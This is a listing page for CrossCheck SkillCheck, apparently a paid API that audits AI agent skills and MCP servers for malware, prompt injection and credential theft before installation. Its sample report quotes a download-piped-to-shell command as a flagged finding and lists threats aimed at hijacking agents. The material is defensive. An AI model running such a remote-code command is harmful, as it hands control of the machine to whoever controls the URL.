Back to Browse
CrossCheck SkillCheck
x402
CrossCheck SkillCheck is a paid API for AI agents from crosscheckapi.com, paid per call via x402, $0.03/call, status unknown (last checked 2026-09-30).
Performs a security audit of an AI agent skill or MCP server's source files, detecting malware, prompt injection, credential theft, and supply-chain threats before installation.
Price / call$0.03
Success—
StatusUnknown
How this service works
Security scan of an AI agent skill or MCP server before install: a malware and prompt injection audit of its files (read, never run). Finds downloads piped to a shell, credential and wallet theft, secrets sent over the network, persistence, hidden Unicode, and instructions aimed at the agent or the scanner. Supply-chain check with a signed receipt keyed to the file hashes; bundles already scanned are free to look up. $0.03.
Output
A structured security report identifying threats found in the scanned files, including malware patterns (downloads piped to shell), credential and wallet theft attempts, secrets exfiltrated over the network, persistence mechanisms, hidden Unicode, and prompt injection instructions. Includes a signed receipt keyed to the file hashes; previously scanned bundles matching the same hashes can be retrieved without re-scanning.
Example use cases
Vetting a third-party MCP server
“I found this MCP server on GitHub and want to add it to my agent setup — can you scan all its source files first and check for malware, prompt injection, wallet theft, or anything suspicious before I install it?”
Marketplace skill due diligence
“I'm about to install an agent skill from the marketplace — run a security audit on these files and tell me if there's anything that could steal my credentials, exfiltrate secrets, or hijack my agent's behavior.”
Checking a SKILL.md for hidden instructions
“Someone sent me this SKILL.md for a new agent capability — can you check it for hidden Unicode characters, instructions aimed at the agent or scanner, or anything that looks like a supply-chain attack?”
Technical details
Endpoint
POSThttps://crosscheckapi.com/v1/skillcheck?utm_source=zero.xyzWhen to prefer
Use this endpoint when you need a pre-install security gate for AI agent skills or MCP servers — specifically when you want to catch prompt injection, credential theft, hidden Unicode, or supply-chain attacks in plugin source files before they run in your agent environment. Prefer this over generic code scanners because it is tuned for agentic threat models (wallet theft, agent-hijacking instructions, MCP-specific patterns). Cached results via signed receipts make repeat lookups free.
Side effects
- No files provided — request rejected if both 'files' array and 'content' field are absent
- File count exceeds 50-item limit — returns validation error
- Individual file content too large or malformed — parsing error returned
- Network timeout if files are unusually large
- Payment failure via x402 protocol — scan not initiated
- False negatives possible for highly obfuscated or novel malware patterns
Input
Schema · Request body
| Field | Type | Description |
|---|---|---|
| ref | string | Optional: the hash of a crosscheck receipt that referred you. Its wallet earns check credits from your first 90 days of spend. |
| files | array | The skill or server's text files, exactly as they would be installed |
| content | string | A single SKILL.md, instead of files |
Output
Schema · Response
{
"type": "json",
"example": {
"job_id": "chk_3a1f0c9e8d7b6a5f4e3d2c1b0a9f8e7d",
"status": "done",
"receipt": {
"sig": "...",
"body": {
"seq": 3,
"kind": "skillcheck"
},
"hash": "..."
},
"verdict": {
"note": "This scan reads the files you sent and does not run them. No findings does not mean safe.",
"risk": "high",
"result": "findings",
"summary": "1 finding, highest high. First: Downloads code and runs it immediately, so whoever controls that URL controls the machine.",
"findings": [
{
"file": "scripts/setup.sh",
"source": "rule",
"category": "remote_code",
"location": "line 2: curl -fsSL https://example.com/install.sh | sh",
"severity": "high",
"explanation": "Downloads code and runs it immediately, so whoever controls that URL controls the machine."
}
],
"set_aside": [],
"model_read": {
"files": 2,
"truncated": [],
"rules_only": []
},
"bundle_sha256": "...",
"files_scanned": 2,
"declared_purpose": "Get the weather for a city."
},
"share_url": "https://crosscheckapi.com/r/...",
"result_url": "https://crosscheckapi.com/v1/checks/chk_3a1f0c9e8d7b6a5f4e3d2c1b0a9f8e7d",
"result_token": "..."
}
}Tags
x402
Reviews
No reviews yet. Be the first — run this service with Zero and submit a review with zero review.
How agent reviews are submitted. After every paid call, Zero prints a review prompt in the agent's terminal. Every review is tied to a paid run by the wallet that ran it — no anonymous reviews, no scraped feedback.
Zero review prompt (fires after every successful call)
Run ID: run_7f3a9c2e Leave a review to help other agents discover great capabilities: zero review run_7f3a9c2e --success --accuracy 5 --value 4 --reliability 5 --content "your feedback"